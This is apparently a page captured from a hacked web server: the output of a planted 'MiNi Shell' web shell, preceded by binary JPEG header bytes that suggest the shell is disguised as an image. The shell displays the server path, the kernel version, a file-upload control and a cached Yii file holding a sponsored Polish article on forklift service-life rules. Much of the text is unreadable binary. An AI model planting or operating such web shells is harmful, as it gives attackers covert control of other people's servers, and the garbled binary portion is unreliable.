JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/18/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/18/189bc4cf4feca43d7e6704af9a99d3a4.bin

a:2:{i:0;a:2:{i:0;s:6514:" 
                    
                    <h3 class="title">Resurs wózka widłowego – najważniejsze informacje</h3>
                    <p>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> 19-01-2022, 10:35</strong>
                                            </p>

                    <div class="lorem">
                        <p><strong><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/71137/metaale.webp" alt="Resurs wózka widłowego – najważniejsze informacje" width="730" loading="lazy" /></strong></p><p><strong>W najbardziej ogólnym pojęciu słowo „resurs” oznacza prognozowany okres użyteczności danej rzeczy, to jest czas, w którym może ona być użytkowana zgodnie z przeznaczeniem i bezpiecznie. W przypadku samochodów określa się go konkretnym przebiegiem, przy samolotach to wylatane godziny a przy większości Urządzeń Transportu Bliskiego (do których zaliczają się też wózki widłowe) daną ilością roboczogodzin. Dlaczego o tym piszemy? Bo od 2018 roku resurs wózka widłowego to nie tylko wartościowa prognoza dla właścicieli, ale monitorowany przez Urząd Dozoru Technicznego parametr, pozwalający na dopuszczenie widlaka do pracy. Jak więc rzecz wygląda?</strong></p><h3>Co to jest resurs wózka widłowego?</h3><p>To okno czasowe, w którym może on legalnie pracować, gdyż jest uznawany za bezpieczny. Użytkowanie maszyny po tym czasie grozi nieprzyjemnościami (finansowymi) ze strony UDT. Resurs wylicza specjalista z tej instytucji i umieszcza go w rejestrach. Obliczenia (czy raczej szacunki) wykonuje się na podstawie parametrów technicznych wózka, jego wieku, dokumentacji serwisowej, warunków pracy i oceny stanu faktycznego. Mamy tu więc wiele zmiennych i kwestii do interpretacji.</p><h3>Czy po upływie resursu wózek nie może pracować?</h3><p>Owszem, ale nie na zawsze. Konieczne jest wyliczenie nowego resursu w taki sam sposób jak za pierwszym razem. Można to określić jako przeglądy techniczne z indywidualnie dobranym czasem ważności. Tak zwany przegląd specjalny, który wchodzi w skład procedury, jest bardzo drobiazgowy – obejmuje między innymi sprawdzenie geometrii, odporności na obciążenia połączeń i dźwigarów, testy statyczne oraz w ruchu. Kontroler porównuje też stan faktyczny z historią serwisową, nie warto więc „sprytnie” jej przerabiać – w wypadku rażących rozbieżności czekają nas trudne rozmowy.</p><h3>A co, jeśli dokumentacji nie ma?</h3><p>Nie oszukujmy się – znaczna część polskich wózków widłowych nie ma regularnie prowadzonych książek serwisowych. Przepisy to przewidują. Wtedy resurs określany jest przez eksploatującego na podstawie wiedzy technicznej oraz „dobrej praktyki inżynierskiej”. Zalecane jest skorzystanie z pomocy „osoby kompetentnej”. W praktyce oznacza to określenie resursu przez wykwalifikowanego serwisanta. Najczęściej łączy się to z przeglądem specjalnym.</p><p>Podsumowując – <a href="https://irapol.com.pl/centrum-serwisowe-wozkow-widlowych-i-podestow-ruchomych/" target="_blank" rel="dofollow noopener"><strong>rejestrowany resurs wózka widłowego</strong></a> pozwala mieć nadzieje na polepszenie ogólnego stanu maszyn w Polsce oraz wyrobienie zwyczaju prowadzenia dokumentacji serwisowej, co z pewnością ucieszy kupujących używane maszyny. Przepisy zostawiają jednak spore pole do interpretacji i z pewnością niejeden „doświadczony” znajdzie sposoby na ich nagięcie.</p>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł sponsorowany</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wózek+widłowy" class="label label-default">wózek widłowy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=resurs+wózka+widłowego" class="label label-default">resurs wózka widłowego</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.metale.org/artykuly/szczegoly/71137_resurs-wozka-widlowego-najwazniejsze-informacje" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_71137";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"3957cc564ff524e50ddb144654c75573";s:21:"0.31603700 1737962414";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com